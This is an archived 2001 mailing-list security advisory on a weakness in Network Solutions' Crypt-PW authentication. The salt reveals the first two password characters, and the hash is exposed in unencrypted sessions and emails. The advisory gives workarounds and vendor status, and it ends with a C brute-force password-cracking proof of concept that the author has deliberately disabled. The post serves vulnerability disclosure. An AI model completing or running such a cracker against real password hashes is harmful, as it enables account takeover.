Network Solutions Crypt-PW Authentication-Scheme vulnerability

From: Peter Ajamian (peterat_private)
Date: Fri Jun 08 2001 - 00:37:34 PDT

  • Next message: 3APA3A: "Re[2]: SECURITY.NNOV: Netscape 4.7x Messanger user information retrival"

    Problem:
    
    While crypt password authentication is not in and of itself very secure,
    Network Sulotions have made it even less so by including the first two
    characters of the password as the salt of the encrypted form.  While the
    password is transmitted via a secure session, the encrypted form is
    returned almost immediately in a non-encrypted www session.  Also, this
    password is typically emailed back and forth to the user no less than two
    times (and often times more).  This allows several opportunities for
    someone to observe the encrypted password, this in and of itself is not
    good.
    
    Discovering the original password from the encrypted form is made
    magnitudes easier by the inclusion of the first two characters of the
    password in the salt (proof of concept code follows at the end of this
    message).  Using the proof of concept code I was able to derive my own
    six character password in less than one minute on an old Pentium 200 MMX
    computer.  A new 1ghz computer could easily crank out 6 char passwords in
    mere seconds, 8 char passwords in a few hours, and a 10 char password
    probably in a week to a month or better.
    
    So far we have established the relative ease of obtaining the encrypted
    form of the password and ease of converting that encryption back to the
    original password.  The rest should be horrifyingly clear.
    
    
    Possible Workarounds:
    
    Do not use the Crypt-PW authentication-scheme.  Instead use the MAIL_FROM
    or PGP scheme instead.
    
    If you must use CRYPT-PW then the following suggestions are recommended:
     - Password should be at least 10 characters in length.
     - The password should contain a combination of upper and lower case as
    well as numbers and preferably some other symbols.
     - Do not use any dictionary words, proper names, or other easily
    recognizable character sequences or forms of them in your password.
     - The first two characters of your password should be _completely_
    unrelated to the rest of the password and should not provide any hints as
    to what the balance of the password may be.
     - If you have access to and know how to use your own crypt generating
    program you should be able to substitute your own encryption for that
    provided by Network Solutions on the form.  If you can do this it is
    recommended that you use a random salt to generate your password or at
    least one that is unrelated to the password itself (note I did not test
    this to see if Network Solutions would accept such a substitution of
    passwords on thier form but the method by which the scheme is implemented
    suggests that it should work) (note if you try this you may have to
    convince Network Solutions phone reps to try the password even though the
    first two characters don't match when you give the password over the
    phone).
    
    
    Vendor Status:
    
    Network Solutions was notified of the problem on May 17, 2001 and I have
    recieved responses indicating they are looking into the severity of the
    problem as well as possible solutions.
    
    
    Proof of concept code (purposefully broken):
    
    /*
     * This is for cracking Network Solutions passwords.  This assumes the
     * following...
     * 1.  The salt is the first two chars of the password (this is the
     *	standard gotcha for Network Solutions usage of crypt()).
     * 2.  If the first character of the salt is lowercase than the password
     *	is all lowercase
     * 3.  If the first character of the salt is uppercase ... well you get
     *	the idea.
     * 4.  If the first character of the salt a digit ...
     * 5.  There are no symbols in the password.
     * 6.  The password is between three and ten characters in length.
     *
     * These are a lot of assumptions to make, but this is just proof of
     * concept code.  It is assumed that if the password uses a dictionary
     * word then knowledge of the first two letters (which Network Solutions
     * places right in the salt) will greatly speed up the process of
     * cracking.  This code does not use a dictionary, but code is widely
     * available which does and could easily be modified to take advantage
     * of the two character "head start" that Network Solutions gives you.
     *
     * This program and all code contained herein is copyright 2001 by Peter
     * Ajamian.
     */
    
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <ctype.h>
    
    /* Crypt function needs to be prototyped, a wierd behavior of the library
    */
    char *crypt(const char *key, const char *salt);
    
    /*
     * PWDCHECK() compares a plain-text password to its encrypted form.
     * it returns 0 if the passwords match and non-zero if the passwords
     * do not match.
     *
     * plain        = The plain-text password.
     * encr         = The encrypted password.
     */
    /* !FIXME! */
    #define PWDCHECK(plain,encr) (1)
    
    /*
     * These are globals for greater efficiency.  Because chkpass is called
     * recursively it is not very worthwhile to be making multiple copies of
     * these and passing them millions of times all over the place.  This
     * should save a large amount of CPU time.
     */
    char *c_pass, pass[11], lbound, rbound;
    int len;
    
    void chkpass(int current)
    {
      /*
       * Yes, this generates an extra copy of c, but considering how much
    it's
       * referenced it should probably be kept in a CPU register and should
    save
       * CPU cycles this way (here's hoping that the register keyword works).
       */
      register char c;
    
      if (current >= len)
        for (c = lbound; c <= rbound; c++) {
          pass[current] = c;
          if (!PWDCHECK(pass, c_pass)) {
            printf("Found password: %s\n", pass);
            exit(EXIT_SUCCESS);
          }
        }
    
      else
        for (c = lbound; c <= rbound; c++){
          pass[current] = c;
          chkpass(current + 1);
        }
    }
    
    int main(int argc, char **argv)
    {
      if (argc != 2) {
        puts("Usage: pwdtest crypt-pass\n");
        return EXIT_FAILURE;
      }
    
      argv++;
    
      strncpy(pass, *argv, 2);
    
      if (isdigit(*pass)) {
        lbound = '0';
        rbound = '9';
    
      } else if (islower(*pass)) {
        lbound = 'a';
        rbound = 'z';
    
      } else if (isupper(*pass)) {
        lbound = 'A';
        rbound = 'Z';
    
      } else {
        puts("First char of passwd must be alphnumeric.\n");
        return EXIT_FAILURE;
      }
    
      c_pass = *argv;
    
      for (len = 2; len < 10; len++) {
        pass[len + 1] = 0;
        chkpass(2);
      }
    
      puts("Unable to find a password match.\n");
      return EXIT_FAILURE;
    }
    



    This archive was generated by hypermail 2b30 : Fri Jun 08 2001 - 12:17:19 PDT